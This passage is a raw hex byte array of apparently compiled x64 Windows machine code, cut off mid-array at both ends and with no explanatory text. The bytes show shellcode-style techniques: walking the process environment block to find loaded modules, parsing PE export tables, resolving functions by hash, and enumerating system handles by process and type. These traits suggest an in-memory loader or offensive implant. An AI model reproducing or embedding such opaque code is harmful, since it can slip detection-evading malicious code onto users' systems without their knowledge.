x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5A,0x4C,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x28,0x48,0x8D,0x6C,0x24,0x20,0x48,0x89,0x4D,0x20,0x89,0x55,0x28,0x44,0x89,0x45,0x30,0x83,0x7D,0x28,0x00,0x75,0x52,0x48,0x8B,0x45,0x20,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2D,0x91,0x00,0x00,0x48,0x85,0xC0,0x74,0x17,0x48,0x8B,0x45,0x20,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x17,0x91,0x00,0x00,0x48,0x83,0xC0,0x01,0xEB,0x04,0x48,0x8B,0x45,0x20,0x48,0x89,0xC2,0x48,0x8D,0x05,0xB3,0xB4,0x00,0x00,0x48,0x89,0xC1,0xE8,0x53,0xE7,0xFF,0xFF,0x48,0x8D,0x05,0x1B,0xB4,0x00,0x00,0x48,0x89,0xC1,0xE8,0x44,0xE7,0xFF,0xFF,0x83,0x7D,0x30,0x00,0x0F,0x84,0x88,0x00,0x00,0x00,0x48,0x8B,0x45,0x20,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD1,0x90,0x00,0x00,0x48,0x85,0xC0,0x74,0x17,0x48,0x8B,0x45,0x20,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xBB,0x90,0x00,0x00,0x48,0x8D,0x58,0x01,0xEB,0x04,0x48,0x8B,0x5D,0x20,0x48,0x8B,0x45,0x20,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA0,0x90,0x00,0x00,0x48,0x85,0xC0,0x74,0x17,0x48,0x8B,0x45,0x20,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8A,0x90,0x00,0x00,0x48,0x83,0xC0,0x01,0xEB,0x04,0x48,0x8B,0x45,0x20,0x49,0x89,0xD8,0x48,0x89,0xC2,0x48,0x8D,0x05,0x7B,0xB4,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC3,0xE6,0xFF,0xFF,0x48,0x8D,0x05,0x8B,0xB3,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB4,0xE6,0xFF,0xFF,0xEB,0x2C,0x48,0x8B,0x55,0x20,0x48,0x8B,0x45,0x20,0x49,0x89,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x4D,0xB4,0x00,0x00,0x48,0x89,0xC1,0xE8,0x95,0xE6,0xFF,0xFF,0x48,0x8D,0x05,0x5D,0xB3,0x00,0x00,0x48,0x89,0xC1,0xE8,0x86,0xE6,0xFF,0xFF,0x90,0x48,0x83,0xC4,0x28,0x5B,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xE8,0x00,0x02,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xFC,0x8B,0x45,0xE8,0x89,0x45,0xFC,0x8B,0x45,0xE8,0x89,0xC3,0x48,0x8B,0x05,0xA8,0x31,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA4,0x31,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA5,0x00,0x00,0x00,0x44,0x8B,0x45,0xE8,0x48,0x8B,0x4D,0xF0,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xE8,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x1B,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xBC,0x46,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x1B,0x48,0x8B,0x45,0x28,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x30,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x59,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xFC,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1B,0x8F,0x00,0x00,0x48,0x8B,0x05,0x0C,0x31,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x0C,0x31,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xEC,0x04,0x00,0x00,0xC0,0x0F,0x84,0x23,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x30,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xF8,0x45,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xE0,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x30,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x0E,0x55,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xD8,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,0x48,0x89,0x4D,0x20,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xEC,0x48,0x8D,0x55,0xF0,0x48,0x8B,0x45,0x20,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xFB,0xFD,0xFF,0xFF,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x1F,0x01,0x00,0x00,0x48,0x8B,0x45,0xF0,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x75,0x55,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xA0,0x8D,0x00,0x00,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0x8D,0x2F,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x91,0x2F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBE,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x08,0x48,0x8D,0x15,0x32,0xB2,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC6,0x8D,0x00,0x00,0x48,0x85,0xC0,0x74,0x52,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2F,0x8D,0x00,0x00,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0x1C,0x2F,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x20,0x2F,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xEB,0x50,0x48,0x8B,0x45,0xF0,0x48,0x85,0xC0,0x74,0x42,0x8B,0x45,0xEC,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDD,0x8C,0x00,0x00,0x48,0x8B,0x5D,0xF0,0x48,0x8B,0x05,0xCA,0x2E,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xCE,0x2E,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x48,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x83,0x7D,0x10,0x00,0x75,0x0E,0x48,0x83,0x7D,0x18,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x59,0x83,0x7D,0x10,0x00,0x74,0x2D,0x8B,0x45,0x10,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x89,0xC1,0xE8,0xDF,0x14,0x00,0x00,0x48,0x89,0x45,0x18,0x48,0x83,0x7D,0x18,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x26,0x48,0x8B,0x45,0x18,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x14,0x48,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0xBA,0x00,0x00,0x00,0x00,0xB9,0x00,0x10,0x00,0x00,0xE8,0xFA,0x13,0x00,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x26,0x48,0x8B,0x45,0xF8,0x48,0x89,0xC1,0xE8,0x18,0xFD,0xFF,0xFF,0x89,0x45,0xF4,0x48,0x8B,0x45,0xF8,0x48,0x89,0xC1,0xE8,0x90,0x42,0x00,0x00,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0xC7,0x45,0xDC,0x60,0x00,0x00,0x00,0x8B,0x45,0xDC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x39,0xD0,0x72,0x2A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x40,0x89,0xC0,0x48,0x01,0xD0,0x48,0x8B,0x55,0x10,0x48,0x39,0xC2,0x73,0x0A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xEB,0x1A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0xAD,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x48,0x83,0x7D,0x10,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x6A,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x0F,0xB7,0x00,0x66,0x3D,0x4D,0x5A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x4E,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x8B,0x00,0x3D,0x50,0x45,0x00,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x25,0x48,0x8B,0x45,0xF0,0x0F,0xB7,0x40,0x16,0x66,0x89,0x45,0xEE,0x0F,0xB7,0x45,0xEE,0x25,0x00,0x20,0x00,0x00,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xD4,0x60,0x00,0x00,0x00,0x8B,0x45,0xD4,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0xC8,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0xEB,0x47,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x39,0x45,0x10,0x74,0x2A,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x8B,0x55,0x18,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAE,0x01,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x74,0x09,0x48,0x8B,0x45,0xD8,0xEB,0x1E,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0xAF,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0x68,0x03,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x00,0x03,0x00,0x00,0x48,0x89,0x95,0x08,0x03,0x00,0x00,0x48,0x8B,0x85,0x08,0x03,0x00,0x00,0xBA,0x2E,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF8,0x89,0x00,0x00,0x48,0x83,0xC0,0x01,0x48,0x89,0x85,0xD8,0x02,0x00,0x00,0x48,0x8B,0x95,0xD8,0x02,0x00,0x00,0x48,0x8B,0x85,0x08,0x03,0x00,0x00,0x48,0x29,0xC2,0x89,0x95,0xD4,0x02,0x00,0x00,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x20,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x89,0xFA,0x89,0x02,0x48,0x83,0xC2,0x04,0x88,0x02,0x48,0x83,0xC2,0x01,0x8B,0x8D,0xD4,0x02,0x00,0x00,0x48,0x8B,0x95,0x08,0x03,0x00,0x00,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x89,0x89,0x00,0x00,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6A,0x89,0x00,0x00,0x48,0x89,0xC2,0x48,0x8D,0x85,0xB0,0x01,0x00,0x00,0x48,0x01,0xD0,0xC7,0x00,0x64,0x6C,0x6C,0x00,0x48,0x8D,0x55,0xA0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0x8D,0x95,0xB0,0x01,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEA,0x88,0x00,0x00,0x48,0x8D,0x45,0xA0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5E,0x02,0x00,0x00,0x48,0x89,0x85,0xC8,0x02,0x00,0x00,0x48,0x83,0xBD,0xC8,0x02,0x00,0x00,0x00,0x75,0x30,0x48,0x8B,0x85,0xD8,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF5,0x38,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0x00,0x03,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2A,0xFE,0xFF,0xFF,0x48,0x89,0x85,0xC0,0x02,0x00,0x00,0x48,0x8B,0x85,0xC0,0x02,0x00,0x00,0xEB,0x34,0x48,0x8B,0x85,0xD8,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC5,0x38,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC8,0x02,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x18,0x00,0x00,0x00,0x48,0x89,0x85,0xC0,0x02,0x00,0x00,0x48,0x8B,0x85,0xC0,0x02,0x00,0x00,0x48,0x81,0xC4,0x68,0x03,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xC4,0x80,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0xC0,0x66,0x89,0x45,0x20,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0x30,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA9,0x01,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x8B,0x40,0x3C,0x48,0x63,0xD0,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x05,0x88,0x00,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xD8,0x8B,0x40,0x04,0x85,0xC0,0x74,0x0A,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x5F,0x01,0x00,0x00,0x48,0x8B,0x45,0xD8,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xD0,0x48,0x8B,0x45,0xD8,0x8B,0x40,0x04,0x89,0x45,0xCC,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x1C,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x20,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x24,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xB0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x83,0x7D,0x18,0x00,0x0F,0x84,0x81,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x6A,0x8B,0x45,0xF4,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xA8,0x48,0x8B,0x45,0xA8,0x48,0x89,0xC1,0xE8,0x7B,0x37,0x00,0x00,0x39,0x45,0x18,0x75,0x34,0x8B,0x45,0xF4,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xB0,0x48,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0xEB,0x3F,0x83,0x45,0xF4,0x01,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x18,0x39,0x45,0xF4,0x72,0x8A,0xEB,0x2D,0x0F,0xB7,0x55,0x20,0x48,0x8B,0x45,0xD0,0x8B,0x40,0x10,0x29,0xC2,0x89,0xD0,0x48,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0xC0,0x48,0x01,0xD0,0x8B,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x48,0x01,0xD0,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x38,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xD0,0x48,0x39,0xC2,0x72,0x27,0x8B,0x55,0xCC,0x48,0x8B,0x45,0xD0,0x48,0x01,0xD0,0x48,0x8B,0x55,0xF8,0x48,0x39,0xC2,0x73,0x14,0x48,0x8B,0x55,0xF8,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0xE8,0xB6,0xFC,0xFF,0xFF,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x83,0xEC,0x80,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xC4,0x80,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0xC7,0x45,0xC8,0x60,0x00,0x00,0x00,0x8B,0x45,0xC8,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC0,0x48,0x8B,0x45,0xC0,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0x10,0xBA,0x5C,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9D,0x86,0x00,0x00,0x48,0x85,0xC0,0x0F,0x95,0xC0,0x0F,0xB6,0xC0,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x74,0x29,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x50,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0xB5,0x28,0x01,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x36,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xE9,0x03,0x01,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x60,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0x8C,0x28,0x01,0x00,0xFF,0xD0,0x85,0xC0,0x75,0x0D,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0xE9,0xDA,0x00,0x00,0x00,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xE0,0x75,0x93,0x83,0x7D,0x18,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xB5,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x8D,0x05,0x98,0xAA,0x00,0x00,0x48,0x89,0xC1,0xE8,0x05,0xFF,0xFF,0xFF,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0xDA,0xEC,0x01,0xA3,0x48,0x89,0xC1,0xE8,0x13,0xFD,0xFF,0xFF,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7C,0x48,0xC7,0x45,0xB0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xB8,0x48,0x8B,0x45,0xB8,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD2,0x81,0x00,0x00,0x66,0x89,0x45,0xB0,0x0F,0xB7,0x45,0xB0,0x01,0xC0,0x66,0x89,0x45,0xB0,0x0F,0xB7,0x45,0xB0,0x83,0xC0,0x02,0x66,0x89,0x45,0xB2,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xA8,0x48,0x8D,0x55,0xB0,0x48,0x8B,0x45,0xD0,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xFF,0xD0,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xA8,0x48,0x83,0xEC,0x80,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x89,0x4D,0x20,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0x48,0x8B,0x05,0xA7,0x26,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x88,0x38,0x01,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xA0,0x26,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xE8,0x48,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x2B,0x01,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x8A,0xA9,0x00,0x00,0x48,0x89,0xC1,0xE8,0x5D,0x12,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0x04,0x01,0x00,0x00,0x48,0x8D,0x55,0xD4,0x48,0x8D,0x45,0xD8,0x48,0x89,0xC1,0xE8,0xDB,0x0D,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x0F,0x84,0xEA,0x00,0x00,0x00,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xE9,0xB5,0x00,0x00,0x00,0x48,0x8B,0x4D,0xD8,0x8B,0x55,0xF8,0x48,0x89,0xD0,0x48,0x01,0xC0,0x48,0x01,0xD0,0x48,0xC1,0xE0,0x03,0x48,0x01,0xC8,0x48,0x83,0xC0,0x08,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x20,0x75,0x7C,0x48,0x8B,0x45,0xE0,0x8B,0x40,0x10,0x23,0x45,0x28,0x39,0x45,0x28,0x75,0x70,0x48,0x8B,0x45,0xE0,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD0,0x39,0xC2,0x75,0x61,0x48,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x76,0x20,0x48,0x8D,0x05,0xF6,0xA8,0x00,0